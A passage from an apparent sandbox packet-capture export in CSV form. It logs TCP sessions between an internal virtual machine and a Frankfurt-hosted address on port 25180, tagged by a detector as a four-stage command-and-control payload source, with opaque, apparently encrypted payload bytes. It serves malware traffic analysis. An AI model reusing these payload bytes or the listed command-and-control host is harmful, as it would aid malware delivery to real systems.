\"\"185.90.162.118\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 25180, \"\"dport\"\": 50200, \"\"seq\"\": 106768472, \"\"ack\"\": 4179116421, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 38716, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 16:29:00.379176,35,TCP 192.168.122.168:50200 -> 185.90.162.118:25180,192.168.122.168,185.90.162.118,50200,25180,TCP,Internal,Private Network,,,,,,Germany,Frankfurt am Main,39378,servinga GmbH,50.1169,8.6837,185.90.162.0/24,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=4179116421 Ack=106768472,525400577f945254007bb7920800450001787a5740008006e806c0a87aa8b95aa276c418625cf9184185065d285850182014988c000078a9787fa2fb6fe70b366dce8903493c26589f51fccc01b1478034804623270117ba341e7b87569a7b94477b0f11e7550ea87d7305d05fb4f0f22b14877bcd2bbb5b572e02f46d9c7f1987a942dfb347dc1e3d09d09e8bbc6b41851f6c145af72466e396db3699b24664d753b99585febbce8c34b2480142e6ffa5f8b6d6fc4f74cd8f73d6b9ec6e23a4fa6efaa589d4196be5d67ece7a02fe2ca80526a0987beb79408615172cc342a731b7486247bc16e137f4e376ac9de8595b1c24e3381ba370616c370309463ed6188e8428785e797cd36dcd133fbe319fb8d02a52bc7a1833963fd5ff28a36dfa436f723d77a8c6e29db8798de0fea6836a753f983aeac41b6856463b162f2ca1dd2e358c7bc0c1df4673a9dec0de3c6c61968fa9984f062959010005c2e0f011c1c0c28d516c924150b43d2abc1d04dbe6bd27ca679a5e376e142319cf9831930cb0f0260e83,\"x.x...o..6m...I<&X.Q....G.4.F#'...4.{.V.{.G{...U..}s.._...+..{.+.[W...m.....B..G..=\t....kA..l.Z.$f...6..Fd.S.......4.H.B.......Ot..s...n#..n.....k..~.z..,..&..{.y@...,.B.1.HbG...7..v...Y[.$.8..pal7.\tF>....(x^y|.m..?.1...*R.z.3.?..(.m.Cor=w.....y.....ju?.:...hVF;./,...5.{...Fs....<la....O.)Y...........Ql.AP.=*......'.g.^7n.#...1....&..\",[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 376, \"\"id\"\": 31319, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59398, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.90.162.118\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50200, \"\"dport\"\": 25180, \"\"seq\"\": 4179116421, \"\"ack\"\": 106768472, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 39052, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"78a9787fa2fb6fe70b366dce8903493c26589f51fccc01b1478034804623270117ba341e7b87569a7b94477b0f11e7550ea87d7305d05fb4f0f22b14877bcd2bbb5b572e02f46d9c7f1987a942dfb347dc1e3d09d09e8bbc6b41851f6c145af72466e396db3699b24664d753b99585febbce8c34b2480142e6ffa5f8b6d6fc4f74cd8f73d6b9ec6e23a4fa6efaa589d4196be5d67ece7a02fe2ca80526a0987beb79408615172cc342a731b7486247bc16e137f4e376ac9de8595b1c24e3381ba370616c370309463ed6188e8428785e797cd36dcd133fbe319fb8d02a52bc7a1833963fd5ff28a36dfa436f723d77a8c6e29db8798de0fea6836a753f983aeac41b6856463b162f2ca1dd2e358c7bc0c1df4673a9dec0de3c6c61968fa9984f062959010005c2e0f011c1c0c28d516c924150b43d2abc1d04dbe6bd27ca679a5e376e142319cf9831930cb0f0260e83\"\"}}]\"\n2026-04-26 16:29:00.379185,36,TCP 185.90.162.118:25180 -> 192.168.122.168:50200,185.90.162.118,192.168.122.168,25180,50200,TCP,Germany,Frankfurt am Main,39378,servinga GmbH,50.1169,8.6837,185.90.162.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=106768472 Ack=4179116757,5254007bb792525400577f940800450000281a5d400040068951b95aa276c0a87aa8625cc418065d2858f91842d550100053973c0000,RT.{..RT.W....E..(.]@.@..Q.Z.v..z.b\\...](X..B.P..S.<..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 6749, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35153, \"\"src\"\": \"\"185.90.162.118\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 25180, \"\"dport\"\": 50200, \"\"seq\"\": 106768472, \"\"ack\"\": 4179116757, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 38716, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 16:29:18.743709,37,TCP 185.90.162.118:25180 -> 192.168.122.168:50200,185.90.162.118,192.168.122.168,25180,50200,TCP,Germany,Frankfurt am Main,39378,servinga GmbH,50.1169,8.6837,185.90.162.0/24,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=106768472 Ack=4179116757,5254007bb792525400577f940800450000281a5e400040068950b95aa276c0a87aa8625cc418065d2858f91842d550110053973c0000,RT.{..RT.W....E..(.^@.@..P.Z.v..z.b\\...](X..B.P..S.<..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 6750, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35152, \"\"src\"\": \"\"185.90.162.118\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 25180, \"\"dport\"\": 50200, \"\"seq\"\": 106768472, \"\"ack\"\": 4179116757, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 83, \"\"chksum\"\": 38716, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 16:29:18.743930,38,TCP 192.168.122.168:50200 -> 185.90.162.118:25180,192.168.122.168,185.90.162.118,50200,25180,TCP,Internal,Private Network,,,,,,Germany,Frankfurt am Main,39378,servinga GmbH,50.1169,8.6837,185.90.162.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=4179116757 Ack=106768473,525400577f945254007bb7920800450000287a5840008006e955c0a87aa8b95aa276c418625cf91842d5065d285950102014973c0000,RT.W..RT.{....E..(zX@....U..z..Z.v..b\\..B..](YP. ..<..,[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 31320, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59733, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.90.162.118\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50200, \"\"dport\"\": 25180, \"\"seq\"\": 4179116757, \"\"ack\"\": 106768473, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38716, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 16:29:18.744131,39,TCP 192.168.122.168:50200 -> 185.90.162.118:25180,192.168.122.168,185.90.162.118,50200,25180,TCP,Internal,Private Network,,,,,,Germany,Frankfurt am Main,39378,servinga GmbH,50.1169,8.6837,185.90.162.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=4179116757 Ack=106768473,525400577f945254007bb7920800450000287a5940008006e954c0a87aa8b95aa276c418625cf91842d5065d285950112014973c0000,RT.W..RT.{....E..(zY@....T..z..Z.v..b\\..B..](YP. ..<..,[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 31321, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59732, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.90.162.118\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50200, \"\"dport\"\": 25180, \"\"seq\"\": 4179116757, \"\"ack\"\": 106768473, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38716, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 16:29:18.744156,40,TCP 185.90.162.118:25180 -> 192.168.122.168:50200,185.90.162.118,192.168.122.168,25180,50200,TCP,Germany,Frankfurt am Main,39378,servinga GmbH,50.1169,8.6837,185.90.162.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=106768473 Ack=4179116758,5254007bb792525400577f94080045000028000040004006a3aeb95aa276c0a87aa8625cc418065d2859f91842d65010005387450000,RT.{..RT.W....E..(..@.@....Z.v..z.b\\...](Y..B.P..S.E..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 41902, \"\"src\"\": \"\"185.90.162.118\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 25180, \"\"dport\"\": 50200, \"\"seq\"\": 106768473, \"\"ack\"\": 4179116758, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 34629, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 16:29:18.744695,41,TCP 192.168.122.168:50210 -> 185.90.162.118:25180,192.168.122.168,185.90.162.118,50210,25180,TCP,Internal,Private Network,,,,,,Germany,Frankfurt am Main,39378,servinga GmbH,50.1169,8.6837,185.90.162.0/24,S,,,Ether > IP > TCP,3,TCP S Seq=2010040453 Ack=0,525400577f945254007bb7920800450000347a5a40008006e947c0a87aa8b95aa276c422625c77cec885000000008002faf097480000020405b40103030801010402,\"RT.W..RT.{....E..4zZ@....G..z..Z.v.\"\"b\\w............H..............\",[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 31322, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59719, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.90.162.118\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50210, \"\"dport\"\": 25180, \"\"seq\"\": 2010040453, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 38728, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-04-26 16:29:18.744726,42,TCP 185.90.162.118:25180 -> 192.168.122.168:50210,185.90.162.118,192.168.122.168,25180,50210,TCP,Germany,Frankfurt am Main,39378,servinga GmbH,50.1169,8.6837,185.90.162.0/24,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=4216113772 Ack=2010040454,5254007bb792525400577f94080045000034000040004006a3a2b95aa276c0a87aa8625cc422fb4cca6c77cec8868012a56497480000020405b40101040201030309,\"RT.{..RT.W....E..4..@.@....Z.v..z.b\\.\"\".L.lw......d.H.............\t\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 41890, \"\"src\"\": \"\"185.90.162.118\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 25180, \"\"dport\"\": 50210, \"\"seq\"\": 4216113772, \"\"ack\"\": 2010040454, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 42340, \"\"chksum\"\": 38728, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 9)]\"\"}}]\"\n2026-04-26 16:29:18.744810,43,TCP 192.168.122.168:50210 -> 185.90.162.118:25180,192.168.122.168,185.90.162.118,50210,25180,TCP,Internal,Private Network,,,,,,Germany,Frankfurt am Main,39378,servinga GmbH,50.1169,8.6837,185.90.162.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=2010040454 Ack=4216113773,525400577f945254007bb7920800450000287a5b40008006e952c0a87aa8b95aa276c422625c77cec886fb4cca6d50102014973c0000,\"RT.W..RT.{....E..(z[@....R..z..Z.v.\"\"b\\w....L.mP. ..<..\",[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 31323, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59730, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.90.162.118\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50210, \"\"dport\"\": 25180, \"\"seq\"\": 2010040454, \"\"ack\"\": 4216113773, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38716, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 16:29:18.745445,44,TCP 192.168.122.168:50210 -> 185.90.162.118:25180,192.168.122.168,185.90.162.118,50210,25180,TCP,Internal,Private Network,,,,,,Germany,Frankfurt am Main,39378,servinga GmbH,50.1169,8.6837,185.90.162.0/24,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=2010040454 Ack=4216113773,525400577f945254007bb79208004500002c7a5c40008006e94dc0a87aa8b95aa276c422625c77cec886fb4cca6d501820149740000060010000,`\u0001\u0000\u0000,[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 44, \"\"id\"\": 31324, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59725, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.90.162.118\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50210, \"\"dport\"\": 25180, \"\"seq\"\": 2010040454, \"\"ack\"\": 4216113773, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38720, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"`\\u0001\\u0000\\u0000\"\"}}]\"\n2026-04-26 16:29:18.745456,45,TCP 185.90.162.118:25180 -> 192.168.122.168:50210,185.90.162.118,192.168.122.168,25180,50210,TCP,Germany,Frankfurt am Main,39378,servinga GmbH,50.1169,8.6837,185.90.162.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4216113773 Ack=2010040458,5254007bb792525400577f940800450000282c7240004006773cb95aa276c0a87aa8625cc422fb4cca6d77cec88a50100053973c0000,\"RT.{..RT.W....E..(,r@.@.w<.Z.v..z.b\\.\"\".L.mw...P..S.<..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 11378, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 30524, \"\"src\"\": \"\"185.90.162.118\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 25180, \"\"dport\"\": 50210, \"\"seq\"\": 4216113773, \"\"ack\"\": 2010040458, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 38716, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 16:29:18.745637,46,TCP 192.168.122.168:50210 -> 185.90.162.118:25180,192.168.122.168,185.90.162.118,50210,25180,TCP,Internal,Private Network,,,,,,Germany,Frankfurt am Main,39378,servinga GmbH,50.1169,8.6837,185.90.162.0/24,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=2010040458 Ack=4216113773,525400577f945254007bb7920800450001887a5d40008006e7f0c0a87aa8b95aa276c422625c77cec88afb4cca6d50182014989c00007ef1ccbc8ccc9f5eca96bbe0f0bff5ea61c238dac7f41f71d5595f925b2c40bb102a76965df81a90401e28e063891bd4d48f1d34ed471878e558f29b303c9ddba23a85a652944df78f61cab5726fb92b3f9485a2ad672ab8f3b9c216f2ba87d9635e1df205c8b5f1ac9565bb43687b203120d10ad0d739408fe039bd9c9d58337b27484256606fd36736f404c7f8b0090fb06b9c246806414cfeb339a247a262954acbad3a2b1e65c21bdb054aa571d55374aee86303492ab665e53c2e37a8c52b9f8eb07401cd494e1e7397e74479ce92701aa7653be936584e854b4b67fe1b414c1da388b4a26513a8c207404add32ef58c0e5295a38b61c9db28308ea7eaa4d3a4c629f7a016a5c4f667a1460effe804aa1b7974d57880ec02488be78dfe3c354c7bf9cf13984b125e2f31dbf9ca95f3edd34810b044e72d20059da05e21611338e336f983b916ad421d8973b751f40498d762e0157eea7999734a18efef0,\"~......^........a.8....q.Y_.[,@..*v.]...@.(.c......4.G.x.X..0<...:..R.M..a..ro.+?....g*.........c^........e.Ch{ 1 .\n..9@..9...X3{'HBV`o.g6.....\t..k.$h.AL..9.G.b.J..:+.e....J.q.St..c.I*.e.<.7..+...t..IN.s..Dy..p..e;.6XN.KKg..AL.....e....@J.2.X..)Z8.......~.M:Lb.z.j\\Ofz.`...J...MW...$..x...T....9..%......_>.4...Nr..Y.....3.3o.;.j.!..;u.@I.v..W....4....\",[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 392, \"\"id\"\": 31325, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59376, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.90.162.118\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50210, \"\"dport\"\": 25180, \"\"seq\"\": 2010040458, \"\"ack\"\": 4216113773, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 39068, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"7ef1ccbc8ccc9f5eca96bbe0f0bff5ea61c238dac7f41f71d5595f925b2c40bb102a76965df81a90401e28e063891bd4d48f1d34ed471878e558f29b303c9ddba23a85a652944df78f61cab5726fb92b3f9485a2ad672ab8f3b9c216f2ba87d9635e1df205c8b5f1ac9565bb43687b203120d10ad0d739408fe039bd9c9d58337b27484256606fd36736f404c7f8b0090fb06b9c246806414cfeb339a247a262954acbad3a2b1e65c21bdb054aa571d55374aee86303492ab665e53c2e37a8c52b9f8eb07401cd494e1e7397e74479ce92701aa7653be936584e854b4b67fe1b414c1da388b4a26513a8c207404add32ef58c0e5295a38b61c9db28308ea7eaa4d3a4c629f7a016a5c4f667a1460effe804aa1b7974d57880ec02488be78dfe3c354c7bf9cf13984b125e2f31dbf9ca95f3edd34810b044e72d20059da05e21611338e336f983b916ad421d8973b751f40498d762e0157eea7999734a18efef0\"\"}}]\"\n2026-04-26 16:29:18.745644,47,TCP 185.90.162.118:25180 -> 192.168.122.168:50210,185.90.162.118,192.168.122.168,25180,50210,TCP,Germany,Frankfurt am Main,39378,servinga GmbH,50.1169,8.6837,185.90.162.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4216113773 Ack=2010040810,5254007bb792525400577f940800450000282c7340004006773bb95aa276c0a87aa8625cc422fb4cca6d77cec9ea50100053973c0000,\"RT.{..RT.W....E..(,s@.@.w;.Z.v..z.b\\.\"\".L.mw...P..S.<..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 11379, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 30523, \"\"src\"\": \"\"185.90.162.118\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 25180, \"\"dport\"\": 50210, \"\"seq\"\": 4216113773, \"\"ack\"\": 2010040810, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 38716, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 16:29:28.655410,48,TCP 185.90.162.118:25180 -> 192.168.122.168:50210,185.90.162.118,192.168.122.168,25180,50210,TCP,Germany,Frankfurt am Main,39378,servinga GmbH,50.1169,8.6837,185.90.162.0/24,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=4216113773 Ack=2010040810,5254007bb792525400577f940800450000282c7440004006773ab95aa276c0a87aa8625cc422fb4cca6d77cec9ea50110053973c0000,\"RT.{..RT.W....E..(,t@.@.w:.Z.v..z.b\\.\"\".L.mw...P..S.<..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 11380, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 30522, \"\"src\"\": \"\"185.90.162.118\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 25180, \"\"dport\"\": 50210, \"\"seq\"\": 4216113773, \"\"ack\"\": 2010040810, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 83, \"\"chksum\"\": 38716, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 16:29:28.655606,49,TCP 192.168.122.168:50210 -> 185.90.162.118:25180,192.168.122.168,185.90.162.118,50210,25180,TCP,Internal,Private Network,,,,,,Germany,Frankfurt am Main,39378,servinga GmbH,50.1169,8.6837,185.90.162.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=2010040810 Ack=4216113774,525400577f945254007bb7920800450000287a5e40008006e94fc0a87aa8b95aa276c422625c77cec9eafb4cca6e50102014973c0000,\"RT.W..RT.{....E..(z^@....O..z..Z.v.\"\"b\\w....L.nP. ..<..\",[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", 